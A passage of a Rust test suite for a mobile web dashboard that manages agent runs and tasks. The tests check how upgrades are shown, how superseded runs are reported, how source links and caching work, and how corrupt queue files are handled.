22562 "pressing the button should not be a surprise about what it moves to"
22563 );
22564 }
22565
22566 #[test]
22567 fn an_upgrade_in_progress_is_shown_as_stages_not_as_an_error() {
22568 for stage in ["downloading", "replaced", "parking", "restarting"] {
22569 assert!(
22570 APP_JS.contains(&format!("\"{stage}\"")),
22571 "the phone must be able to tell {stage} apart from the others"
22572 );
22573 }
22574 assert!(APP_JS.contains(".waiting_on"));
22575 assert!(APP_JS.contains("function reportUnreachableDuringUpgrade("));
22580 assert!(APP_JS.contains("reconnects on its own"));
22581 }
22582
22583 #[test]
22584 fn a_failed_upgrade_does_not_lock_the_loop_controls() {
22585 let body = &APP_JS[APP_JS.find("function renderLoop(").expect("renderLoop")
22586 ..APP_JS.find("function upgrade(").expect("upgrade")];
22587 assert!(!body.contains(
22588 "upgradeStage === \"failed\") {\n setAttr(box, \"data-state\", \"failed\")"
22589 ));
22590 assert!(body.contains("renderUpgradeError();"));
22591 assert!(INDEX_HTML.contains("id=\"upgrade-error\""));
22592 }
22593
22594 #[test]
22595 fn an_overdue_upgrade_eventually_asks_for_a_human() {
22596 assert!(APP_JS.contains("UPGRADE_WAIT_LIMIT_MS = 70 * 60 * 1000"));
22599 assert!(APP_JS.contains("function upgradeOverdue("));
22600 }
22601
22602 #[test]
22603 fn coming_back_from_an_upgrade_says_which_version_it_landed_on() {
22604 assert!(
22605 APP_JS.contains("Updated to ${upgradeInfo.to"),
22606 "the operator who asked for the restart wants to know it worked"
22607 );
22608 }
22609
22610 #[test]
22611 fn an_error_is_visible_from_where_the_button_is() {
22612 let alert = &APP_CSS[APP_CSS.find(".alert {").expect(".alert")
22617 ..APP_CSS.find(".alert-text").expect(".alert-text")];
22618 assert!(
22619 alert.contains("position: fixed"),
22620 "an error about the thing under your thumb has to be visible from \
22621 where your thumb is: {alert}"
22622 );
22623 assert!(
22624 alert.contains("z-index: 25"),
22625 "above the dock (20) and the run-actions FAB (15), so neither \
22626 buries it: {alert}"
22627 );
22628 assert!(
22629 alert.contains("var(--tap)"),
22630 "and clear of the dock and the home indicator: {alert}"
22631 );
22632 assert!(
22635 alert.contains("var(--s4) + var(--tap) + var(--s3)"),
22636 "the FAB's column stays free: {alert}"
22637 );
22638 }
22639
22640 #[tokio::test]
22641 async fn an_older_attempt_says_what_replaced_it() {
22642 let fx = Fixture::start().await;
22643 let q = fx.queue();
22644 let runs = fx.runs();
22645 let (first, second) = ("20260901-000000-aaaa", "20260901-000000-bbbb");
22646 write_run(&runs, first, RunStatus::Stalled);
22647 write_run(&runs, second, RunStatus::Blocked);
22648
22649 let mut t = Task::new(
22650 "one task".to_owned(),
22651 "do it".to_owned(),
22652 PathBuf::from("/repo"),
22653 Source::Human,
22654 );
22655 t.runs = vec![first.to_owned(), second.to_owned()];
22656 q.put(&mut t).expect("put");
22657
22658 let rows = fx.get("/api/runs").await.json();
22662 let by = |short: &str| -> Value {
22663 rows.as_array()
22664 .unwrap()
22665 .iter()
22666 .find(|r| r["short"] == short)
22667 .cloned()
22668 .unwrap_or(Value::Null)
22669 };
22670 assert_eq!(by("aaaa")["superseded_by"], "bbbb");
22671 assert!(
22672 by("bbbb")["superseded_by"].is_null(),
22673 "the latest attempt is not superseded by anything"
22674 );
22675 assert!(APP_JS.contains("run.superseded_by"));
22677 assert!(APP_JS.contains("Superseded by"));
22678 }
22679
22680 fn outcome_task(runs: &[&str], status: TaskStatus) -> Task {
22681 let mut t = Task::new(
22682 "one task".to_owned(),
22683 "do it".to_owned(),
22684 PathBuf::from("/repo"),
22685 Source::Human,
22686 );
22687 t.runs = runs.iter().map(|r| (*r).to_owned()).collect();
22688 t.status = status;
22689 t
22690 }
22691
22692 #[test]
22693 fn source_link_picks_the_page_that_filed_the_task() {
22694 let agent = |node: &str| Source::Agent {
22695 run: "20260904-014455-ab12".to_owned(),
22696 node: node.to_owned(),
22697 };
22698 let chat = source_link(&agent("chat")).expect("chat link");
22699 assert_eq!(chat.kind, "chat");
22700 assert_eq!(chat.id, "20260904-014455-ab12");
22701 assert_eq!(chat.href, "#/chat/20260904-014455-ab12");
22702 let run = source_link(&agent("implement")).expect("run link");
22703 assert_eq!(
22704 (run.kind, run.href.as_str()),
22705 ("run", "#/runs/20260904-014455-ab12")
22706 );
22707 assert_eq!(source_link(&Source::Human), None);
22708 assert_eq!(
22709 source_link(&Source::Issue {
22710 number: 3,
22711 repo: "o/r".to_owned()
22712 }),
22713 None
22714 );
22715 let odd = source_link(&Source::Agent {
22716 run: "a b/c".to_owned(),
22717 node: "chat".to_owned(),
22718 })
22719 .expect("link");
22720 assert_eq!(odd.href, "#/chat/a%20b%2Fc");
22721 }
22722
22723 #[test]
22724 fn the_ui_reads_the_source_link_instead_of_guessing_a_route() {
22725 assert!(
22726 !APP_JS.contains("src.node === \"chat\""),
22727 "inline href rule is back"
22728 );
22729 assert!(
22730 APP_JS.matches("sourceLinkOf(").count() >= 4,
22731 "helper must serve every page"
22732 );
22733 assert!(
22734 APP_JS.matches("openChatLink(").count() >= 3,
22735 "the run page still needs its explicit chat link"
22736 );
22737 assert!(
22738 !APP_JS.contains("const openChat = el("),
22739 "the Queue card duplicates its source label link again"
22740 );
22741 assert!(
22742 APP_JS.contains("metaKids.push(link ? el(\"a\""),
22743 "the task page must link a chat source label too"
22744 );
22745 }
22746
22747 #[test]
22748 fn task_ref_carries_the_source_link_for_a_chat_task() {
22749 let mut t = outcome_task(&["20260901-000000-aaaa"], TaskStatus::Held);
22750 t.source = Source::Agent {
22751 run: "20260904-014455-ab12".to_owned(),
22752 node: "chat".to_owned(),
22753 };
22754 let out = task_outcome(&t, "20260901-000000-aaaa", 3, |_| None);
22755 let v = serde_json::to_value(&out).expect("json");
22756 assert_eq!(v["source_link"]["kind"], "chat", "{v}");
22757 assert_eq!(v["source_link"]["href"], "#/chat/20260904-014455-ab12");
22758 assert_eq!(v["source_label"], t.source.label());
22759
22760 let human = outcome_task(&["20260901-000000-aaaa"], TaskStatus::Held);
22761 let v = serde_json::to_value(task_outcome(&human, "20260901-000000-aaaa", 3, |_| None))
22762 .expect("json");
22763 assert!(v["source_link"].is_null(), "{v}");
22764 }
22765
22766 #[test]
22767 fn task_view_serializes_source_link() {
22768 let mut t = Task::new(
22769 "t".to_owned(),
22770 "t".to_owned(),
22771 PathBuf::from("/repo"),
22772 Source::Agent {
22773 run: "20260901-000000-aaaa".to_owned(),
22774 node: "implement".to_owned(),
22775 },
22776 );
22777 t.runs.clear();
22778 let v = serde_json::to_value(TaskView::from(t)).expect("json");
22779 assert_eq!(v["source_link"]["kind"], "run", "{v}");
22780 assert_eq!(v["source_link"]["href"], "#/runs/20260901-000000-aaaa");
22781 }
22782
22783 #[test]
22784 fn task_view_serializes_urgent_flag() {
22785 let mut t = Task::new(
22786 "t".to_owned(),
22787 "t".to_owned(),
22788 PathBuf::from("/repo"),
22789 Source::Human,
22790 );
22791 let v = serde_json::to_value(TaskView::from(t.clone())).expect("json");
22792 assert_eq!(v["urgent"], false, "{v}");
22793 t.urgent = true;
22794 let v = serde_json::to_value(TaskView::from(t)).expect("json");
22795 assert_eq!(v["urgent"], true, "{v}");
22796 assert!(APP_JS.contains("task.urgent === true"));
22797 }
22798
22799 #[tokio::test]
22800 async fn a_blocked_run_reports_the_task_finishing_elsewhere() {
22801 let fx = Fixture::start().await;
22802 let runs = fx.runs();
22803 let (old, new) = ("20260901-000000-aaaa", "20260901-000000-bbbb");
22804 write_run(&runs, old, RunStatus::Blocked);
22805 write_run(&runs, new, RunStatus::Merged);
22806 let mut t = outcome_task(&[old, new], TaskStatus::Done);
22807 fx.queue().put(&mut t).expect("put");
22808
22809 let view = fx.get(&format!("/api/runs/{old}")).await.json();
22810 let task = &view["task"];
22811 assert_eq!(task["status"], "done");
22812 assert_eq!(task["is_latest"], false);
22813 assert_eq!(task["latest"]["short"], "bbbb");
22814 assert_eq!(task["finished_by"]["id"], new);
22815 assert_eq!(task["finished_by"]["outcome"], "merged");
22816 assert_eq!(task["closed_by_hand"], false);
22817 assert_eq!(view["status"], "blocked", "the run keeps its own status");
22818 assert!(APP_JS.contains("finished_by"));
22819 assert!(APP_JS.contains("superseded by run"));
22820 }
22821
22822 #[tokio::test]
22823 async fn the_latest_run_reports_a_held_task_without_a_successor() {
22824 let fx = Fixture::start().await;
22825 let runs = fx.runs();
22826 let (old, new) = ("20260901-000000-aaaa", "20260901-000000-bbbb");
22827 write_run(&runs, old, RunStatus::Stalled);
22828 write_run(&runs, new, RunStatus::Blocked);
22829 let mut t = outcome_task(&[old, new], TaskStatus::Held);
22830 fx.queue().put(&mut t).expect("put");
22831
22832 let task = fx.get(&format!("/api/runs/{new}")).await.json()["task"].clone();
22833 assert_eq!(task["status"], "held");
22834 assert_eq!(task["is_latest"], true);
22835 assert!(task["latest"].is_null());
22836 assert!(task["finished_by"].is_null());
22837 assert_eq!(task["closed_by_hand"], false);
22838 }
22839
22840 #[tokio::test]
22841 async fn a_direct_run_has_no_task_outcome() {
22842 let fx = Fixture::start().await;
22843 let runs = fx.runs();
22844 let id = "20260901-000000-aaaa";
22845 write_run(&runs, id, RunStatus::Blocked);
22846 let view = fx.get(&format!("/api/runs/{id}")).await.json();
22847 assert!(view["task"].is_null());
22848 }
22849
22850 #[test]
22851 fn task_outcome_does_not_guess_a_finishing_run() {
22852 let a = "20260901-000000-aaaa";
22853 let b = "20260901-000000-bbbb";
22854 let c = "20260901-000000-cccc";
22855 let dir = tempfile::tempdir().expect("tempdir");
22856 write_run(dir.path(), a, RunStatus::Blocked);
22857 write_run(dir.path(), b, RunStatus::VerifiedNoop);
22858 let read = |id: &str| read_run(dir.path(), id).ok();
22860 let t = outcome_task(&[a, b, c], TaskStatus::Done);
22863 let out = task_outcome(&t, a, 3, read);
22864 assert!(out.finished_by.is_none());
22865 assert!(out.closed_by_hand);
22866 let latest = out.latest.expect("latest");
22867 assert_eq!(latest.id, c);
22868 assert_eq!(latest.status, None);
22869 assert_eq!(latest.outcome, "record unreadable");
22870
22871 write_run(dir.path(), c, RunStatus::Ready);
22873 let t = outcome_task(&[a, c], TaskStatus::Done);
22874 let out = task_outcome(&t, a, 3, |id| read_run(dir.path(), id).ok());
22875 assert_eq!(out.finished_by.expect("finisher").id, c);
22876 assert!(!out.closed_by_hand);
22877
22878 let t = outcome_task(&[a, b, a], TaskStatus::Held);
22880 assert!(task_outcome(&t, a, 3, read).is_latest);
22881 }
22882
22883 #[tokio::test]
22884 async fn a_run_s_own_detail_page_says_what_replaced_it_too() {
22885 let fx = Fixture::start().await;
22890 let q = fx.queue();
22891 let runs = fx.runs();
22892 let (first, second) = ("20260901-000000-cccc", "20260901-000000-dddd");
22893 write_run(&runs, first, RunStatus::Blocked);
22894 write_run(&runs, second, RunStatus::Merged);
22895
22896 let mut t = Task::new(
22897 "one task".to_owned(),
22898 "do it".to_owned(),
22899 PathBuf::from("/repo"),
22900 Source::Human,
22901 );
22902 t.runs = vec![first.to_owned(), second.to_owned()];
22903 q.put(&mut t).expect("put");
22904
22905 let earlier = fx.get(&format!("/api/runs/{first}")).await.json();
22906 assert_eq!(earlier["superseded_by"], "dddd");
22907 assert_eq!(earlier["latest_attempt"]["id"], second);
22908 assert_eq!(earlier["latest_attempt"]["short"], "dddd");
22909 assert_eq!(
22910 earlier["latest_attempt"]["resolved"], true,
22911 "the run that replaced it landed, so this one reads as settled"
22912 );
22913
22914 let later = fx.get(&format!("/api/runs/{second}")).await.json();
22915 assert!(
22916 later["superseded_by"].is_null(),
22917 "the latest attempt is not superseded by anything"
22918 );
22919 assert!(
22920 later["latest_attempt"].is_null(),
22921 "the latest attempt has no later attempt of its own"
22922 );
22923
22924 assert!(APP_JS.contains("run.latest_attempt"));
22931 assert!(APP_JS.contains("data-superseded"));
22932 assert!(APP_JS.contains("#/runs/${latest.id}"));
22933 }
22934
22935 #[tokio::test]
22936 async fn a_chain_of_retries_points_the_oldest_at_the_current_head() {
22937 let fx = Fixture::start().await;
22943 let q = fx.queue();
22944 let runs = fx.runs();
22945 let (a, b, c) = (
22946 "20260901-000000-aaaa",
22947 "20260901-000000-bbbb",
22948 "20260901-000000-cccc",
22949 );
22950 write_run(&runs, a, RunStatus::Blocked);
22951 write_run(&runs, b, RunStatus::Blocked);
22952 write_run(&runs, c, RunStatus::Merged);
22953
22954 let mut t = Task::new(
22955 "retried twice".to_owned(),
22956 "do it".to_owned(),
22957 PathBuf::from("/repo"),
22958 Source::Human,
22959 );
22960 t.runs = vec![a.to_owned(), b.to_owned(), c.to_owned()];
22961 q.put(&mut t).expect("put");
22962
22963 let view = fx.get(&format!("/api/runs/{a}")).await.json();
22964 assert_eq!(view["superseded_by"], "bbbb", "the immediate successor");
22965 assert_eq!(
22966 view["latest_attempt"]["id"], c,
22967 "the chain's current head, not the intermediate Blocked retry"
22968 );
22969 assert_eq!(view["latest_attempt"]["resolved"], true);
22970
22971 let mid = fx.get(&format!("/api/runs/{b}")).await.json();
22972 assert_eq!(mid["latest_attempt"]["id"], c);
22973 assert_eq!(mid["latest_attempt"]["resolved"], true);
22974 }
22975
22976 #[tokio::test]
22977 async fn an_unresolved_or_unverified_successor_does_not_read_as_finished() {
22978 let fx = Fixture::start().await;
22979 let q = fx.queue();
22980 let runs = fx.runs();
22981
22982 let (still_blocked_a, still_blocked_b) = ("20260901-000000-e001", "20260901-000000-e002");
22985 write_run(&runs, still_blocked_a, RunStatus::Blocked);
22986 write_run(&runs, still_blocked_b, RunStatus::Blocked);
22987 let mut t1 = Task::new(
22988 "still stuck".to_owned(),
22989 "do it".to_owned(),
22990 PathBuf::from("/repo"),
22991 Source::Human,
22992 );
22993 t1.runs = vec![still_blocked_a.to_owned(), still_blocked_b.to_owned()];
22994 q.put(&mut t1).expect("put");
22995 let view1 = fx.get(&format!("/api/runs/{still_blocked_a}")).await.json();
22996 assert_eq!(view1["latest_attempt"]["resolved"], false);
22997 assert_eq!(view1["latest_attempt"]["status"], "blocked");
22998 assert_eq!(view1["latest_attempt"]["done"], true);
22999
23000 let (run_a, run_b) = ("20260901-000000-e005", "20260901-000000-e006");
23002 write_run(&runs, run_a, RunStatus::Blocked);
23003 write_run(&runs, run_b, RunStatus::Implementing);
23004 let mut t3 = Task::new(
23005 "retrying".to_owned(),
23006 "do it".to_owned(),
23007 PathBuf::from("/repo"),
23008 Source::Human,
23009 );
23010 t3.runs = vec![run_a.to_owned(), run_b.to_owned()];
23011 q.put(&mut t3).expect("put");
23012 let view3 = fx.get(&format!("/api/runs/{run_a}")).await.json();
23013 assert_eq!(view3["latest_attempt"]["id"], run_b);
23014 assert_eq!(view3["latest_attempt"]["resolved"], false);
23015 assert_eq!(view3["latest_attempt"]["done"], false);
23016
23017 let (noop_a, noop_b) = ("20260901-000000-e003", "20260901-000000-e004");
23022 write_run(&runs, noop_a, RunStatus::Blocked);
23023 write_run(&runs, noop_b, RunStatus::VerifiedNoop);
23024 let mut t2 = Task::new(
23025 "claims done".to_owned(),
23026 "do it".to_owned(),
23027 PathBuf::from("/repo"),
23028 Source::Human,
23029 );
23030 t2.runs = vec![noop_a.to_owned(), noop_b.to_owned()];
23031 q.put(&mut t2).expect("put");
23032 let view2 = fx.get(&format!("/api/runs/{noop_a}")).await.json();
23033 assert_eq!(
23034 view2["latest_attempt"]["resolved"], false,
23035 "an unverified no-op claim must not read as a confirmed finish"
23036 );
23037
23038 assert!(APP_JS.contains("latest.resolved"));
23041 assert!(APP_JS.contains("successorNote(latest, inFlight)"));
23044 assert!(APP_JS.contains("Latest attempt: "));
23045 assert!(APP_JS.contains("in flight"));
23046 assert!(APP_JS.contains("not resolved"));
23047 }
23048
23049 #[tokio::test]
23050 async fn a_replaced_deck_is_not_served_from_a_phone_s_cache() {
23051 let fx = Fixture::start().await;
23052 let js = fx.get("/app.js").await;
23058 assert_eq!(js.status, 200);
23059 let tag = js
23060 .header("etag")
23061 .expect("an etag to revalidate against")
23062 .to_owned();
23063 assert!(tag.contains(env!("CARGO_PKG_VERSION")), "tag: {tag}");
23064 assert_eq!(
23065 js.header("cache-control"),
23066 Some("no-cache, must-revalidate"),
23067 "the phone has to ask every time"
23068 );
23069
23070 let again = fx
23073 .get_with("/app.js", &[("if-none-match", tag.as_str())])
23074 .await;
23075 assert_eq!(
23076 again.status, 304,
23077 "a deck it already has costs one round trip"
23078 );
23079 assert!(again.body.is_empty(), "304 carries no body");
23080
23081 let weak = fx
23084 .get_with("/app.js", &[("if-none-match", &format!("W/{tag}"))])
23085 .await;
23086 assert_eq!(weak.status, 304);
23087 let stale = fx
23088 .get_with("/app.js", &[("if-none-match", "\"0.0.1-1\"")])
23089 .await;
23090 assert_eq!(stale.status, 200, "an older build must be replaced");
23091 assert!(stale.body.contains("renderRunActions"));
23092 }
23093
23094 #[test]
23095 fn the_task_detail_has_an_actions_fab_and_sheet() {
23096 assert!(INDEX_HTML.contains("id=\"task-actions-fab\""));
23097 assert!(INDEX_HTML.contains("id=\"task-actions-sheet\""));
23098 assert!(INDEX_HTML.contains("id=\"task-actions-error\" role=\"alert\""));
23099 assert!(APP_JS.contains("show($(\"task-actions-fab\"), route.name === \"task\")"));
23101 assert!(APP_JS.contains("if (route.name !== \"task\") closeTaskActions();"));
23102 assert!(APP_JS.contains("renderTaskActions(task.coreOnly || error ? null : task);"));
23104 assert!(APP_JS.contains("renderTaskActions(null);"));
23105 let sheet = APP_JS
23107 .find("function renderTaskActions")
23108 .expect("sheet renderer");
23109 let body = &APP_JS[sheet..sheet + 3000];
23110 assert!(body.contains("changePriority("));
23111 assert!(body.contains("openTaskEdit(task)"));
23112 assert!(body.contains("renderTaskHoldBox(host"));
23113 assert!(body.contains("renderTaskDoneBox(host"));
23114 assert!(body.contains("renderTaskDeleteBox(host"));
23115 assert!(APP_JS.contains("API.priority(id)"));
23116 assert!(APP_JS.contains("API.deleteTask(id)"));
23117 assert!(APP_JS.contains("location.hash = \"#/queue\""));
23119 assert!(APP_JS.contains("$(\"task-actions-error\")"));
23121 }
23122
23123 #[test]
23124 fn the_run_actions_sheet_leads_with_a_way_to_the_task() {
23125 let task = INDEX_HTML.find("id=\"run-task-box\"").expect("task box");
23126 let actions = INDEX_HTML
23127 .find("id=\"run-actions-box\"")
23128 .expect("actions box");
23129 assert!(task < actions, "the task entry comes first in the sheet");
23130 assert!(APP_JS.contains("renderRunTaskEntry"));
23131 assert!(APP_JS.contains("\"Open task \""));
23132 assert!(APP_JS.contains("started directly, no task"));
23134 assert!(APP_JS.contains("sheet-task-link"));
23135 assert!(APP_JS.contains("task-chip-link"));
23136 }
23137
23138 #[test]
23139 fn the_deck_never_sends_the_operator_to_a_terminal() {
23140 assert!(
23143 !APP_JS.contains("Run `magi fold` first"),
23144 "the deck must offer the fold, not prescribe a shell command"
23145 );
23146 assert!(APP_JS.contains("foldRun:"));
23147 assert!(APP_JS.contains("resumeRun:"));
23148 assert!(APP_JS.contains("renderRunActions"));
23149
23150 assert!(APP_JS.contains("armedFold"));
23152 assert!(APP_JS.contains("Yes, fold worktrees"));
23153
23154 assert!(APP_JS.contains("can no longer be resumed"));
23157 }
23158
23159 #[test]
23160 fn a_finished_run_explains_itself_with_its_own_last_line() {
23161 assert!(
23167 !APP_JS.contains("collapsed on agent quota"),
23168 "a stall must not be explained by a cause the deck did not check"
23169 );
23170 assert!(
23171 !APP_JS.contains("Review rounds ran out with findings still open, or the gate failed"),
23172 "and a block must not offer a guess with an `or` in it"
23173 );
23174
23175 assert!(
23179 APP_JS.contains("setText(r.event, run.event || \"\")"),
23180 "the run's last line is rendered unconditionally"
23181 );
23182 assert!(
23183 !APP_JS.contains("moving && run.event"),
23184 "and never gated on the run still moving"
23185 );
23186
23187 assert!(APP_JS.contains("lost to quota"));
23189 }
23190
23191 #[test]
23213 fn runs_tree_sections_and_state_chips_agree_on_what_a_run_can_be() {
23214 let shapes_marker = "const REPRESENTATIVE_RUN_SHAPES = [";
23215 let shapes_body_start =
23216 APP_JS.find(shapes_marker).expect("the shape list exists") + shapes_marker.len();
23217 let shapes_close = APP_JS[shapes_body_start..]
23218 .find("].map(")
23219 .expect("the shape list is closed by its done-computing .map(...)")
23220 + shapes_body_start;
23221 let shapes_src = &APP_JS[shapes_body_start..shapes_close];
23222
23223 let mut shapes: Vec<(bool, String, bool, bool)> = Vec::new();
23224 for entry in shapes_src.split('{').skip(1) {
23225 let waiting = entry.contains("waiting: true");
23226 let dead = entry.contains("live: \"dead\"");
23227 let status_at =
23228 entry.find("status: \"").expect("each shape names a status") + "status: \"".len();
23229 let status_end = entry[status_at..]
23230 .find('"')
23231 .expect("the status string is closed")
23232 + status_at;
23233 let parked = entry.contains("display_status: \"parked\"");
23234 shapes.push((
23235 waiting,
23236 entry[status_at..status_end].to_string(),
23237 dead,
23238 parked,
23239 ));
23240 }
23241 assert!(shapes.len() >= 6, "parsed shapes: {shapes:?}");
23242
23243 let done_rule_marker = "done: !";
23247 let done_rule_at = APP_JS[shapes_close..]
23248 .find(done_rule_marker)
23249 .expect("the done rule follows the shape list")
23250 + shapes_close
23251 + done_rule_marker.len();
23252 let includes_at = APP_JS[done_rule_at..]
23253 .find(".includes(shape.status)")
23254 .expect("the done rule ends in .includes(shape.status)")
23255 + done_rule_at;
23256 let not_done: Vec<&str> = APP_JS[done_rule_at..includes_at]
23257 .trim()
23258 .trim_start_matches('[')
23259 .trim_end_matches(']')
23260 .split(',')
23261 .map(|s| s.trim().trim_matches('"'))
23262 .filter(|s| !s.is_empty())
23263 .collect();
23264
23265 let shapes: Vec<(bool, String, bool, bool, bool)> = shapes
23266 .into_iter()
23267 .map(|(waiting, status, dead, parked)| {
23268 let done = !not_done.contains(&status.as_str());
23269 (waiting, status, dead, parked, done)
23270 })
23271 .collect();
23272
23273 fn run_section(waiting: bool, status: &str, dead: bool, parked: bool) -> &'static str {
23277 if waiting {
23278 return "waiting";
23279 }
23280 if dead
23281 && !parked
23282 && !matches!(
23283 status,
23284 "merged"
23285 | "ready"
23286 | "stalled"
23287 | "blocked"
23288 | "failed"
23289 | "verified_noop"
23290 | "superseded"
23291 | "already_in_base"
23292 )
23293 {
23294 return "stale";
23295 }
23296 match status {
23297 "merged" | "ready" => "landed",
23298 "stalled" | "blocked" | "failed" | "verified_noop" | "superseded"
23299 | "already_in_base" => "ended",
23300 _ => "flight",
23301 }
23302 }
23303
23304 fn filter_matches(filter_key: &str, waiting: bool, dead: bool, done: bool) -> bool {
23307 match filter_key {
23308 "active" => !done,
23309 "flight" => !done && !waiting && !dead,
23310 "stale" => !done && !waiting && dead,
23311 "waiting" => waiting,
23312 "done" => done,
23313 "all" => true,
23314 other => panic!("unknown RUN_STATE_FILTERS key: {other}"),
23315 }
23316 }
23317
23318 let compatible = |section: &str, filter_key: &str| {
23319 shapes.iter().any(|(waiting, status, dead, parked, done)| {
23320 run_section(*waiting, status, *dead, *parked) == section
23321 && filter_matches(filter_key, *waiting, *dead && !*parked, *done)
23322 })
23323 };
23324
23325 let expected = [
23330 ("waiting", [true, false, false, true, true, true]),
23331 ("stale", [true, false, true, false, false, true]),
23332 ("flight", [true, true, false, false, false, true]),
23333 ("landed", [false, false, false, false, true, true]),
23334 ("ended", [false, false, false, false, true, true]),
23335 ];
23336 let filter_keys = ["active", "flight", "stale", "waiting", "done", "all"];
23337
23338 for (section, wants) in expected {
23339 for (filter_key, want) in filter_keys.iter().zip(wants) {
23340 assert_eq!(
23341 compatible(section, filter_key),
23342 want,
23343 "section {section:?} x filter {filter_key:?} should be compatible: {want}"
23344 );
23345 }
23346 }
23347
23348 assert!(
23351 APP_JS.contains("function sectionCompatibleWithStateFilter(sectionKey, filterKey)")
23352 );
23353 assert!(APP_JS.contains(
23354 "if (state.runsFilter.section && !sectionCompatibleWithStateFilter(state.runsFilter.section, key))"
23355 ));
23356 assert!(APP_JS.contains(
23357 "if (!same && !sectionCompatibleWithStateFilter(section, state.runsStateFilter))"
23358 ));
23359 }
23360
23361 #[tokio::test]
23362 async fn normalize_default_repo_leaves_an_explicit_path_untouched() {
23363 let dir = tempfile::tempdir().expect("tempdir");
23367 let explicit = dir.path().join("not-a-checkout");
23368 std::fs::create_dir_all(&explicit).expect("create dir");
23369 assert_eq!(normalize_default_repo(explicit.clone()).await, explicit);
23370
23371 let missing = dir.path().join("does-not-exist-at-all");
23372 assert_eq!(normalize_default_repo(missing.clone()).await, missing);
23373 }
23374
23375 #[test]
23376 fn stats_verdict_donut_has_fixed_colours_and_a_minimum_arc() {
23377 assert!(APP_JS.contains("function statsDonutArcs"));
23378 assert!(APP_JS.contains("STATS_DONUT_MIN_DEG"));
23379 assert!(APP_JS.contains("function statusInBucket"));
23381 assert!(APP_JS.contains("statuses: [\"superseded\", \"already_in_base\"]"));
23382 assert!(INDEX_HTML.contains("id=\"stats-verdict-donut\""));
23383 let buckets = [
23384 "merged",
23385 "ready",
23386 "in_progress",
23387 "blocked",
23388 "failed",
23389 "verified_noop",
23390 "superseded",
23391 "stalled",
23392 ];
23393 for key in buckets {
23394 let var = format!("--verdict-{key}:");
23395 assert_eq!(APP_CSS.matches(&var).count(), 3, "{var}");
23397 assert!(
23398 APP_CSS.contains(&format!("[data-verdict=\"{key}\"]")),
23399 "{key}"
23400 );
23401 }
23402 }
23403
23404 #[tokio::test]
23405 async fn resolve_talk_and_task_avoid_deserializing_corrupt_or_unrelated_json() {
23406 let dir = tempfile::tempdir().expect("tempdir");
23407 let queue = Queue::at(dir.path().join("queue"));
23408 let talks = Talks::at(dir.path().join("talks"));
23409 std::fs::create_dir_all(queue.root()).unwrap();
23410 std::fs::create_dir_all(talks.root()).unwrap();
23411
23412 std::fs::write(queue.root().join("corrupt-task.json"), "invalid json").unwrap();
23414 std::fs::write(talks.root().join("corrupt-talk.json"), "invalid json").unwrap();
23415
23416 let mut task = Task::new(
23418 "title".into(),
23419 "inst".into(),
23420 PathBuf::from("/repo"),
23421 Source::Human,
23422 );
23423 task.id = "20261019-123456-abcd".into();
23424 std::fs::write(
23426 queue.path_of(&task.id),
23427 serde_json::to_string(&task).unwrap(),
23428 )
23429 .unwrap();
23430
23431 let talk_id = "20261019-234567-cdef";
23432 seed_talk_at(&talks, talk_id, "open");
23433
23434 assert_eq!(resolve_task(&queue, &task.id).unwrap(), task.id);
23436 assert_eq!(resolve_talk(&talks, talk_id).unwrap(), talk_id);
23437
23438 assert_eq!(resolve_task(&queue, "abcd").unwrap(), task.id);
23440 assert_eq!(resolve_talk(&talks, "cdef").unwrap(), talk_id);
23441 }
23442
23443 #[tokio::test]
23444 async fn question_core_and_empty_origins_do_not_touch_unavailable_histories() {
23445 let home = tempfile::tempdir().unwrap();
23446 let ui = delta_test_ui(home.path());
23447 std::fs::write(ui.queue.root(), "not a directory").unwrap();
23449 std::fs::write(ui.talks.root(), "not a directory").unwrap();
23450 assert!(
23451 questions_list(State(ui.clone()))
23452 .await
23453 .unwrap()
23454 .0
23455 .is_empty()
23456 );
23457 assert!(
23458 question_origins(State(ui.clone()))
23459 .await
23460 .unwrap()
23461 .0
23462 .is_empty()
23463 );
23464 let mut question = Question::new(
23465 "run-history".into(),
23466 "review".into(),
23467 "seat".into(),
23468 "Useful question".into(),
23469 "Useful detail".into(),
23470 vec![],
23471 );
23472 ui.questions.put(&mut question).unwrap();
23473 let core = questions_core(State(ui.clone())).await.unwrap().0;
23474 assert_eq!(core.len(), 1);
23475 assert_eq!(core[0].question.summary, "Useful question");
23476 assert!(!core[0].can_consult_chat);
23477 assert!(core[0].origin_chat.is_none());
23478 assert_eq!(core[0].record_revision, question_record_revision(&question));
23479 assert!(question_origins(State(ui.clone())).await.is_err());
23480 assert_eq!(ui.monitor.queue_index.lock().unwrap().reparsed, 0);
23481 }
23482
23483 #[tokio::test]
23484 async fn question_origins_resolve_typed_links_without_expanding_consultation() {
23485 let home = tempfile::tempdir().unwrap();
23486 let ui = delta_test_ui(home.path());
23487 let chat = seed_talk_at(&ui.talks, "origin-chat", "closed");
23488 let mut parent = Task::new(
23489 "parent".into(),
23490 "body".into(),
23491 PathBuf::from("/repo"),
23492 Source::Agent {
23493 run: chat.clone(),
23494 node: crate::queue::CHAT_NODE.into(),
23495 },
23496 );
23497 parent.id = "parent-task".into();
23498 parent.runs = vec!["parent-run".into()];
23499 ui.queue.put(&mut parent).unwrap();
23500 let mut previous = parent;
23501 for generation in 1..=2 {
23502 let mut child = Task::new(
23503 "child".into(),
23504 "body".into(),
23505 PathBuf::from("/repo"),
23506 Source::Human,
23507 );
23508 child.id = format!("child-task-{generation}");
23509 child.runs = vec![format!("child-run-{generation}")];
23510 child.followup = Some(crate::queue::FollowUp {
23511 origin_task: Some(previous.id.clone()),
23512 run: previous.runs[0].clone(),
23513 pr: String::new(),
23514 findings: vec![],
23515 generation,
23516 });
23517 ui.queue.put(&mut child).unwrap();
23518 previous = child;
23519 }
23520 let mut collision = Task::new(
23523 "collision".into(),
23524 String::new(),
23525 PathBuf::from("/repo"),
23526 Source::Human,
23527 );
23528 collision.id = "collision-task".into();
23529 collision.runs = vec![previous.id.clone()];
23530 ui.queue.put(&mut collision).unwrap();
23531 let mut questions = Vec::new();
23532 for (node, reference, expected, eligible) in [
23533 (crate::triage::NODE, previous.id.as_str(), true, false),
23534 (crate::triage::DEPS_NODE, previous.id.as_str(), true, false),
23535 ("review", previous.runs[0].as_str(), true, true),
23536 (
23537 crate::bump::NOTICE_NODE,
23538 previous.runs[0].as_str(),
23539 true,
23540 false,
23541 ),
23542 ("review", previous.id.as_str(), false, false),
23544 (crate::triage::NODE, previous.runs[0].as_str(), false, true),
23545 ("review", "unrelated", false, false),
23546 ] {
23547 let mut q = Question::new(
23548 reference.into(),
23549 node.into(),
23550 "seat".into(),
23551 "Question".into(),
23552 String::new(),
23553 vec![],
